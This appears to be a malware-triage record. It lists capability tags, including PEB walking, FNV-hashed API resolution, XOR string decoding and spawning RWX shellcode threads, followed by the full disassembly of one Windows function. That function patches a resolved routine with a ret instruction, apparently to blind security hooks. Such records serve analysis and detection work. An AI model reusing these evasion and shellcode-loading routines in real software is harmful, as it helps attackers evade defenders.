Function at 0x1400035a0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x68]
sub rsp, 0x150
mov rax, qword [0x140039010]
xor rax, rsp
mov qword [rbp + 0x48], rax
mov ecx, 8
call fcn.140029520
lea rcx, [0x140001540]
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
lea rcx, [rbp + 0x38]
mov qword [rsp + 0x28], rcx
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140004f1c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140003ded
cmp dword [rbp + 0x38], r14d
jne 0x140003628
lea ecx, [r14 + 1]
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x14000364a
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x30], xmm0
mov ebx, 1
mov r12d, 0x51eb851f
mov byte [rbp + 0x10], r14b
lea rax, [0x14002de20]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 8], rax
lea rcx, [rbp - 0x30]
call fcn.140002f14
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rbp + 0x18], rax
mov rdx, qword [0x14003a138]
cmp rdx, qword [0x14003a140]
je 0x1400036b7
mov qword [rdx], rax
mov rdx, qword [0x14003a138]
add rdx, 8
mov qword [0x14003a138], rdx
jmp 0x1400036c7
lea r8, [rbp + 0x18]
call fcn.14000469c
mov rdx, qword [0x14003a138]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x18], rax
cmp rdx, qword [0x14003a140]
je 0x1400036f2
mov qword [rdx], rax
mov rdx, qword [0x14003a138]
add rdx, 8
mov qword [0x14003a138], rdx
jmp 0x140003702
lea r8, [rbp + 0x18]
call fcn.14000469c
mov rdx, qword [0x14003a138]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbp + 0x18], rax
cmp rdx, qword [0x14003a140]
je 0x140003723
mov qword [rdx], rax
add qword [0x14003a138], 8
jmp 0x14000372c
lea r8, [rbp + 0x18]
call fcn.14000469c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x1400037a2
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x1400037a2
mov esi, dword [r9 + 0x20]
dec edx
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov r11d, 0x8e327981
mov cl, byte [r10]
add r10, rbx
test cl, cl
je 0x14000379e
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
add r10, rbx
test cl, cl
jne 0x14000377e
cmp r11d, 0x206aa564
je 0x1400037a7
test edx, edx
jne 0x140003761
mov rax, qword [rax]
jmp 0x14000373d
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov ecx, 0xa
call rax
movsd xmm0, qword [0x14002db98]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x14002dba0]
mov word [rsp + 0x48], ax
cmp byte [0x14002dba1], r14b
je 0x140003816
mov r8d, r14d
lea r9, [rsp + 0x40]
mov eax, r12d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0xa
jl 0x1400037f1
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x1400038ba
movsd xmm0, qword [0x14002e000]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [0x14002e008]
mov dword [rsp + 0x38], ecx
movzx ecx, word [0x14002e00c]
mov word [rsp + 0x3c], cx
cmp byte [0x14002e00d], r14b
je 0x140003887
mov r8d, r14d
lea r9, [rsp + 0x30]
mov eax, r12d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0xe
jl 0x140003862
lea rdx, [rsp + 0x30]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x1400038ba
lea r9, [rbp + 0x40]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400038ba
mov byte [rdi], 0xc3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r8d, dword [rcx + r9 + 0x88]
add r8, r9
cmp r8, r9
je 0x140003930
mov edx, dword [r8 + 0x18]
test edx, edx
je 0x140003930
mov edi, dword [r8 + 0x20]
dec edx
lea rcx, [rdi + rdx*4]
mov r10d, dword [rcx + r9]
add r10, r9
mov r11d, 0x7d2de190
mov cl, byte [r10]
add r10, rbx
test cl, cl
je 0x14000392c
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
add r10, rbx
test cl, cl
jne 0x14000390c
cmp r11d, 0x3426eb43
je 0x140003935
test edx, edx
jne 0x1400038ef
mov rax, qword [rax]
jmp 0x1400038cb
mov ecx, dword [r8 + 0x24]
add rcx, r9
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
mov ecx, 0xa
call rax
lea rcx, [0x14003a130]
call fcn.14000164c
test al, al
je 0x140003ae5
movups xmm0, xmmword [str.__BSWNTe]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x14002e060]
mov dword [rsp + 0x70], eax
cmp byte [0x14002e063], r14b
je 0x1400039b4
mov r8d, r14d
lea r9, [rsp + 0x60]
mov eax, r12d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x14
jl 0x14000398f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r8d, dword [rcx + r9 + 0x88]
add r8, r9
cmp r8, r9
je 0x140003a2a
mov edx, dword [r8 + 0x18]
test edx, edx
je 0x140003a2a
mov edi, dword [r8 + 0x20]
dec edx
lea rcx, [rdi + rdx*4]
mov r10d, dword [rcx + r9]
add r10, r9
mov r11d, 0x2dd4ab23
mov cl, byte [r10]
add r10, rbx
test cl, cl
je 0x140003a26
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
add r10, rbx
test cl, cl
jne 0x140003a06
cmp r11d, 0x4affcbaa
je 0x140003a2f
test edx, edx
jne 0x1400039e9
mov rax, qword [rax]
jmp 0x1400039c5
mov ecx, dword [r8 + 0x24]
add rcx, r9
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r8 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
lea rcx, [rsp + 0x60]
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140003ac4
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140003ac4
mov esi, dword [r9 + 0x20]
dec edx
lea rcx, [r8 + rdx*4]
mov r10d, dword [rcx + rsi]
add r10, r8
mov r11d, 0xb0d1a7c5
mov cl, byte [r10]
add r10, rbx
test cl, cl
je 0x140003ac0
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
add r10, rbx
test cl, cl
jne 0x140003aa0
cmp r11d, 0x3e68c485
je 0x140003ac9
test edx, edx
jne 0x140003a83
mov rax, qword [rax]
jmp 0x140003a5f
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
xor ecx, ecx
call rax
call fcn.140003e00
call fcn.140004020
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140003b65
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140003b65
mov esi, dword [r9 + 0x20]
dec edx
lea rcx, [r8 + rdx*4]
mov r10d, dword [rcx + rsi]
add r10, r8
mov r11d, 0x2fc5a3bf
mov cl, byte [r10]
add r10, rbx
test cl, cl
je 0x140003b61
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
add r10, rbx
test cl, cl
jne 0x140003b41
cmp r11d, 0x449cdd62
je 0x140003b6a
test edx, edx
jne 0x140003b24
mov rax, qword [rax]
jmp 0x140003b00
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov ecx, 0xa
call rax
movups xmm0, xmmword [str.__QZ_]
movups xmmword [rsp + 0x78], xmm0
mov eax, dword [0x14002dc00]
mov dword [rbp - 0x78], eax
cmp word [0x14002dc02], r14w
je 0x140003bdb
mov r8d, r14d
lea r9, [rsp + 0x78]
mov eax, r12d
mul r8d
shr edx, 4
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0xa
jl 0x140003bb0
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r10, rax
movups xmm0, xmmword [0x14002dc20]
movups xmmword [rbp - 0x70], xmm0
movsd xmm1, qword [0x14002dc30]
movsd qword [rbp - 0x60], xmm1
mov cl, byte [0x14002dc38]
mov byte [rbp - 0x58], cl
mov r8d, r14d
lea r9, [rbp - 0x70]
mov eax, r12d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x19
jl 0x140003c11
lea rdx, [rbp - 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp + 0x20], 8
xor r9d, r9d
lea r8d, [r9 + 8]
lea rdx, [rbp + 0x20]
lea ecx, [r9 + 0x67]
call rax
test byte [rbp + 0x24], 2
jne 0x140003c67
test byte [rbp + 0x24], 0x80
je 0x140003c80
mov rax, rbx
mov qword [rbp + 0x18], rbx
mov qword [rbp + rax*8 + 0x18], rax
mov rax, qword [rbp + 0x18]
add rax, rbx
mov qword [rbp + 0x18], rax
jne 0x140003c6e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140003cf6
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x140003cf6
mov esi, dword [r9 + 0x20]
dec edx
lea rcx, [r8 + rdx*4]
mov r10d, dword [rcx + rsi]
add r10, r8
mov r11d, 0x523cb291
mov cl, byte [r10]
add r10, rbx
test cl, cl
je 0x140003cf2
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
add r10, rbx
test cl, cl
jne 0x140003cd2
cmp r11d, 0x54520ad4
je 0x140003cfb
test edx, edx
jne 0x140003cb5
mov rax, qword [rax]
jmp 0x140003c91
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov ecx, 0xa
call rax
movsd xmm0, qword [0x14002db98]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x14002dba0]
mov word [rsp + 0x58], ax
cmp byte [0x14002dba1], r14b
je 0x140003d6a
mov r8d, r14d
lea r9, [rsp + 0x50]
mov eax, r12d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0xa
jl 0x140003d45
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
je 0x140003dd7
movups xmm0, xmmword [0x14002dc20]
movups xmmword [rbp - 0x50], xmm0
movsd xmm1, qword [0x14002dc30]
movsd qword [rbp - 0x40], xmm1
mov cl, byte [0x14002dc38]
mov byte [rbp - 0x38], cl
mov r8d, r14d
lea r9, [rbp - 0x50]
mov eax, r12d
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x19
jl 0x140003da5
lea rdx, [rbp - 0x50]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x18], 0x32
lea rcx, [rbp + 0x18]
call fcn.140004604
jmp 0x14000365d
mov dword [rbp + 0x38], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3